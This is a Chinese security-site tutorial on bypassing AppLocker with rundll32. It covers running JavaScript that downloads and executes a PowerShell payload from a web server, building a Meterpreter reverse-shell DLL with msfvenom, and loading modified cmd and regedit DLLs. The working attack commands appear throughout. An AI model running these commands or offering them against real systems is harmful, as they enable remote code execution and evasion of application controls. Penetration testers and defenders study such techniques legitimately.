绕过AppLocker系列之Rundll32的利用 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

绕过AppLocker系列之Rundll32的利用

丝绸之路 系统安全 2017-06-27 10:50:24
215723
收藏

导语:Rundll32是一个可以执行DLL文件内的代码的Microsoft二进制文件。如果系统环境没有正确的锁定某些设置,那么用户就可以使用这个二进制文件做一些事情,他们也可以编写自己的DLL,来绕过任何限制或执行恶意的JavaScript代码。

Rundll32是一个可以执行DLL文件内的代码的Microsoft二进制文件。由于此实用程序是Windows操作系统的一部分,因此可以将其用作一种绕过AppLocker规则或软件限制策略的方法。所以如果系统环境没有正确的锁定某些设置,那么用户就可以使用这个二进制文件做一些事情,他们也可以编写自己的DLL,来绕过任何限制或执行恶意的JavaScript代码。

Rundll32 - JavaScript

可以使用rundll32这个二进制文件来执行已经嵌入有效载荷并且托管在Web服务器上的JavaScript代码。Metasploit的Web传递模块可以快速的创建一个将用于特定有效负载(Python,PHP或PowerShell)的Web服务器。在本文的演示中,有效负载用的是PowerShell。

exploit/multi/script/web_delivery

web-delivery-module-configuration.png

Web Delivery模块配置

需要从cmd中执行以下命令。如果命令提示符被锁定而不能运行,可以使用下面描述的方法解锁cmd。

rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"


rundll32-javascript.png

Rundll32 执行 JavaScript代码

Rundll32将执行任意代码,并返回一个Meterpreter会话。这样做的好处是,不需要在磁盘上写文件就可以绕过AppLocker规则。但是PowerShell要允许在系统上运行才行。

web-delivery-payload.png

Web Delivery有效载荷

Rundll32 - Meterpreter

可以使用Metasploit 的Msfvenom来创建一个包含meterpreter有效载荷的自定义DLL文件:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.100.3 LPORT=44444 -f dll -o pentestlab.dll


msfvenom-dll-generation.png

Msfvenom DLL生成

然后,rundll32实用程序就可以加载并执行pentestlab.dll文件中的有效载荷。

rundll32 shell32.dll,Control_RunDLL C:Userspentestlab.dll


rundll32-injecting-dll-into-a-process.png

利用Rundll32执行DLL绕过AppLocker  

获取到一个meterpreter 会话。

rundll32-meterpreter.png

Rundll32 返回的 Meterpreter会话

运行cmd

在通过AppLocker规则锁定禁止cmd运行的Windows系统中,可以通过将恶意DLL文件注入到合法的进程来绕过此限制。Didier Stevens通过使用从ReactOS开源项目获得的变种,以DLL文件的形式发布了一个修改版本的cmd

applocker-command-prompt-blocked.png

AppLocker禁止cmd运行

由于rundll32是受信任的Microsoft实用程序,因此可以将cmd.dll加载到进程中,执行DLL中的代码,因此这样就可以绕过AppLocker规则并打开cmd。以下两个命令可以在Windows中执行:

rundll32 C:cmd.dll,EntryPoint rundll32 shell32.dll,Control_RunDLL C:cmd.dll


rundll32-dll-loading-entry-point.png

Rundll32 - DLL加载入口点函数

rundll32-dll-loading-control-run.png

Rundll32 - DLL加载Control Run函数

代码将通过rundll32执行,之后会打开一个cmd窗口。

rundll32-command-prompt.png

Rundll32 –绕过cmd禁止运行的限制

注册表

相同的绕过技术也可以应用在注册表被锁定禁止运行的系统中。Didier Stevens还发布了一个修改版本的注册表编辑器,形式也是一个DLL文件,和上面提到的修改过的cmd是一样的。

applocker-registry-blocked.png

AppLocker - 注册表被阻止运行

以下命令可以通过rundll32加载并运行regedit.dll,可以绕过AppLocker规则。

rundll32 C:regedit.dll,EntryPoint rundll32 shell32.dll,Control_RunDLL C:regedit.dll


applocker-rundll32-registry.png

AppLocker - Rundll32运行注册表程序

applocker-registry-unlocked.png

绕过AppLocker – 打开了注册表程序

applocker-rundll32-registry-unlocked.png

绕过AppLocker –通过 Rundll32解锁运行注册表程序

资源

https://blog.didierstevens.com/?s=cmd

http://didierstevens.com/files/software/cmd-dll_v0_0_4.zip

http://www.didierstevens.com/files/software/regedit-dll_v0_0_1.zip

https://github.com/fdiskyou/PSShell

http://ikat.ha.cked.net/

1
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务